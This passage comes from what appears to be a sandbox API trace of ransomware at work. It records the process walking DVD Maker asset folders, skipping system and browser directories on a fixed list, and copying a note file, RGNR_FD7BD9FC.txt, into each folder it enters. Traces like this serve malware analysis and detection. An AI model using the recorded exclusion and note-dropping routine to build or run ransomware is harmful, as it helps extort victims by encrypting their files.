ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2=".") returned 1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="..") returned 1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Windows") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Windows.old") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Tor browser") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Internet Explorer") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Google") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Opera") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Opera Software") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Mozilla") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="Mozilla Firefox") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="$Recycle.Bin") returned 1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="ProgramData") returned -1 [0078.693] lstrcmpiW (lpString1="DvdStyles", lpString2="All Users") returned 1 [0078.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0078.693] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="DvdStyles" | out: lpString1="DvdStyles") returned="DvdStyles" [0078.693] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0078.693] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0078.693] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RGNR_FD7BD9FC.txt" [0078.693] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*" [0078.703] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.703] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.703] lstrcpyW (in: lpString1=0x1eb20c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.704] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.704] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="16to9Squareframe_Buttongraphic.png", lpString2="..") returned 1 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="16to9Squareframe_SelectionSubpicture.png", lpString2="..") returned 1 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="16to9Squareframe_VideoInset.png", lpString2="..") returned 1 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="4to3Squareframe_Buttongraphic.png", lpString2="..") returned 1 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="..") returned 1 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="..") returned 1 [0078.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0078.705] lstrcmpiW (lpString1="BabyBoy", lpString2=".") returned 1 [0078.705] lstrcmpiW (lpString1="BabyBoy", lpString2="..") returned 1 [0078.705] lstrcmpiW (lpString1="BabyBoy", lpString2="Windows") returned -1 [0078.705] lstrcmpiW (lpString1="BabyBoy", lpString2="Windows.old") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Tor browser") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Internet Explorer") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Google") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Opera") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Opera Software") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Mozilla") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="Mozilla Firefox") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="$Recycle.Bin") returned 1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="ProgramData") returned -1 [0078.706] lstrcmpiW (lpString1="BabyBoy", lpString2="All Users") returned 1 [0078.706] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.706] lstrcpyW (in: lpString1=0x1eb620, lpString2="BabyBoy" | out: lpString1="BabyBoy") returned="BabyBoy" [0078.706] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0078.706] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\" [0078.706] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RGNR_FD7BD9FC.txt" [0078.706] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.711] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*" [0078.711] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.711] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.711] lstrcpyW (in: lpString1=0x1ea744, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.711] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.711] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.711] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.711] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.711] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0078.711] lstrcmpiW (lpString1="babyblue.png", lpString2=".") returned 1 [0078.711] lstrcmpiW (lpString1="babyblue.png", lpString2="..") returned 1 [0078.711] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0078.711] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2=".") returned 1 [0078.711] lstrcmpiW (lpString1="BabyBoyMainBackground.wmv", lpString2="..") returned 1 [0078.711] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.711] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2=".") returned 1 [0078.711] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyNotesBackground.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyNotesBackground_PAL.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0078.712] lstrcmpiW (lpString1="navSubpicture.png", lpString2=".") returned 1 [0078.712] lstrcmpiW (lpString1="navSubpicture.png", lpString2="..") returned 1 [0078.712] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, 